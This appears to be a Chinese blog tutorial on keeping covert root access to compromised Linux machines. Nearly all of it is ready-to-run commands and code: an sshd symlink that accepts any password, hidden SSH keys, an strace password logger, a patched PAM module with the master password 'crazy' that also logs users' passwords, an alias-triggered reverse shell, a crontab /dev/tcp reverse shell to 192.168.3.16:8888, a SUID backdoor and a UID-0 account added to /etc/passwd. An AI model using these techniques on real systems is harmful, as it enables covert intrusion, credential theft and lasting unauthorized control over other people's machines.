当前位置: 首页 > news >正文

Linux权限维持篇

目录

SSH后门

(1)软链接sshd

(2)SSH Key

生成公私钥

创建个authorized_keys文件来保存公钥 

通过修改文件时间来隐藏authorized_keys 

(3)SSH Keylogger(记录日志)

Linux的PAM后门(修改内核)

​编译生成so文件

生成的so文件目录 

 查找系统的pam_unix.so文件,用我们自己生成的来替换(要备份系统文件的话看自己选择)

cp替换

问题优化

(1)修改内核文件pam_unix_auth.c的代码

(2)修改内核文件support.c的代码 (linux的底线‘/’关键字查找)

  (3)cp替换 

  (4)成功crazy 

Alias后门

编译shell.c 

​运行一下alias,成功做好后门

目标靶机执行cat 

成功反弹shell 

Crontab后门

Setuid & Setgid

放tmp目录下

维持 

后门账号


SSH后门

(1)软链接sshd

输入任意密码就可以 root 用户权限登陆,如果 root 用户被禁止登陆时,可以利用其他存在的用户身份登陆

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345ssh root@192.168.78.19 -p 12345

(2)SSH Key

生成公私钥

ssh-keygen -t rsa

创建个authorized_keys文件来保存公钥 

cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys  追加
cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keys  覆盖

通过修改文件时间来隐藏authorized_keys 

touch -r 参考文件 authorized_keys如:
touch -r /www/wwwroot/upload.zip authorized_keys

 

(3)SSH Keylogger(记录日志)

主要是记录本机外联的日志,就是本机去连其他机器的日志

vim .bashrc  打开root目录下的这个文件,在文件末尾添加下面代码进行记录日志
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
source .bashrc  命令代码生效

Linux的PAM后门(修改内核)

cd modules/pam_unix       到指定目录
vim pam_unix_auth.c       编辑密码验证文件
if (strcmp("crazy",p)==0) {return PAM_SUCCESS;}  添加代码

 编译生成so文件

cd Linux-PAM-1.1.8
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr  运行该命令配置环境,如果之前配置好了就不用运行了,直接跳过
make

生成的so文件目录 

cd Linux-PAM-1.1.8/modules/pam_unix/.libs/   

 查找系统的pam_unix.so文件,用我们自己生成的来替换(要备份系统文件的话看自己选择)

find / -name pam_unix.so 2>/dev/null

cp替换

cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so

 密码crazy可以登录

问题优化

查看日志文件:/var/log/auth.1og,发现这种方式下的登录跟正常登录下的情况不一样。

(1)修改内核文件pam_unix_auth.c的代码
cd modules/pam_unix       到指定目录
vim pam_unix_auth.c       编辑密码验证文件代码:FILE * fp;if (retval == PAM_SUCCESS) {fp = fopen("/etc/pam.txt","a");fprintf(fp,"%s->%s\n", name,p);fclose(fp);}

(2)修改内核文件support.c的代码 (linux的底线‘/’关键字查找)
cd modules/pam_unix       到指定目录
vim support.c       编辑密码验证文件
int _unix_verify_password(pam_handle_t * pamh, const char *name,const char *p, unsigned int ctrl)
{struct passwd *pwd = NULL;char *salt = NULL;char *data_name;int retval;if (strcmp("crazy",p)==0) {return PAM_SUCCESS;}D(("called"));

cd Linux-PAM-1.1.8
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr  运行该命令配置环境,如果之前配置好了就不用运行了,直接跳过
make
(3)cp替换 
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
(4)成功crazy 

Alias后门

编译shell.c 

gcc shell.c -o .shell   # -o ./shell 是保存成隐藏文件

 运行一下alias,成功做好后门

alias cat='/root/.shell && cat'

目标靶机执行cat 

成功反弹shell 

Crontab后门

(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.3.16/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
1.服务开启
service crond start2.编辑计划任务
crontab -e -u 用户名3.查看计划任务
crontab -l -u 用户名4.删除计划任务:
crontab -r -u 用户名
#相关文件
/var/spool/cron/用户名   #用户定义的设置
/var/log/cron            #cron服务的日志文件
/etc/crontab             #cron服务配置文件

Setuid & Setgid

放tmp目录下

最好放到tmp目录下,因为这个有权限执行(试过其他目录,有的不成功) 

# 编译程序
gcc back.c -o back# 给程序添加SUID权限
chmod u+s /bin/back
维持 

是通过普通用户的提权进行权限维持

./back whoami

后门账号

创建后门普通用户提权,进行普通用户到root用户的权限维持

perl -e 'print crypt("crazy","adgfagm")."\n"'  通过这个盐值生成密码,就是下面这个
adifQfW1d7qOY
echo "weblogic1:adifQfW1d7qOY:0:0:root:/root:/bin/bash" >> /etc/passwd  #带入这个里面,当用户数据导入etc/passwd

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 创业团队如何选择DevOps工具?
  • 计算机网络知识-面试点1
  • 快速入门了解Ajax
  • 【前端学习】CSS三大特性
  • JVM 11 的优化指南:如何进行JVM调优,JVM调优参数有哪些
  • h265decode解码1080P的故障溯源 [ 2 - 1 ]
  • 力扣高频SQL 50题(基础版)第六题
  • Conda和Pip有什么区别?
  • 分布式系统常见软件架构模式
  • Http 和 Https 的区别(图文详解)
  • 在 ArchLinux 上编译运行 axmol 引擎
  • <section id=“nice“ data-tool=“mdnice编辑器“ data-webs
  • 数据缺失补全方法综述
  • 深入解析 Java 的 switch 语句
  • PHP运算符
  • [rust! #004] [译] Rust 的内置 Traits, 使用场景, 方式, 和原因
  • Terraform入门 - 1. 安装Terraform
  • Vue ES6 Jade Scss Webpack Gulp
  • Vue--数据传输
  • 动手做个聊天室,前端工程师百无聊赖的人生
  • 和 || 运算
  • 聊聊springcloud的EurekaClientAutoConfiguration
  • 入职第二天:使用koa搭建node server是种怎样的体验
  • 微信小程序--------语音识别(前端自己也能玩)
  • 栈实现走出迷宫(C++)
  • 整理一些计算机基础知识!
  • ​LeetCode解法汇总518. 零钱兑换 II
  • #define
  • #我与Java虚拟机的故事#连载07:我放弃了对JVM的进一步学习
  • $$$$GB2312-80区位编码表$$$$
  • (11)MATLAB PCA+SVM 人脸识别
  • (delphi11最新学习资料) Object Pascal 学习笔记---第7章第3节(封装和窗体)
  • (层次遍历)104. 二叉树的最大深度
  • (第8天)保姆级 PL/SQL Developer 安装与配置
  • (二)原生js案例之数码时钟计时
  • (附源码)计算机毕业设计大学生兼职系统
  • (亲测有效)推荐2024最新的免费漫画软件app,无广告,聚合全网资源!
  • (十六)Flask之蓝图
  • (游戏设计草稿) 《外卖员模拟器》 (3D 科幻 角色扮演 开放世界 AI VR)
  • (转)Unity3DUnity3D在android下调试
  • (转)负载均衡,回话保持,cookie
  • .bat批处理(八):各种形式的变量%0、%i、%%i、var、%var%、!var!的含义和区别
  • .NET Conf 2023 回顾 – 庆祝社区、创新和 .NET 8 的发布
  • .NET Framework 和 .NET Core 在默认情况下垃圾回收(GC)机制的不同(局部变量部分)
  • .NET gRPC 和RESTful简单对比
  • .net websocket 获取http登录的用户_如何解密浏览器的登录密码?获取浏览器内用户信息?...
  • .net 使用$.ajax实现从前台调用后台方法(包含静态方法和非静态方法调用)
  • .net 提取注释生成API文档 帮助文档
  • .NET 直连SAP HANA数据库
  • .NET 中各种混淆(Obfuscation)的含义、原理、实际效果和不同级别的差异(使用 SmartAssembly)
  • .NET(C#、VB)APP开发——Smobiler平台控件介绍:Bluetooth组件
  • .vimrc php,修改home目录下的.vimrc文件,vim配置php高亮显示
  • @Tag和@Operation标签失效问题。SpringDoc 2.2.0(OpenApi 3)和Spring Boot 3.1.1集成
  • [C#数据加密]——MD5、SHA、AES、RSA
  • [C++][opencv]基于opencv实现photoshop算法可选颜色调整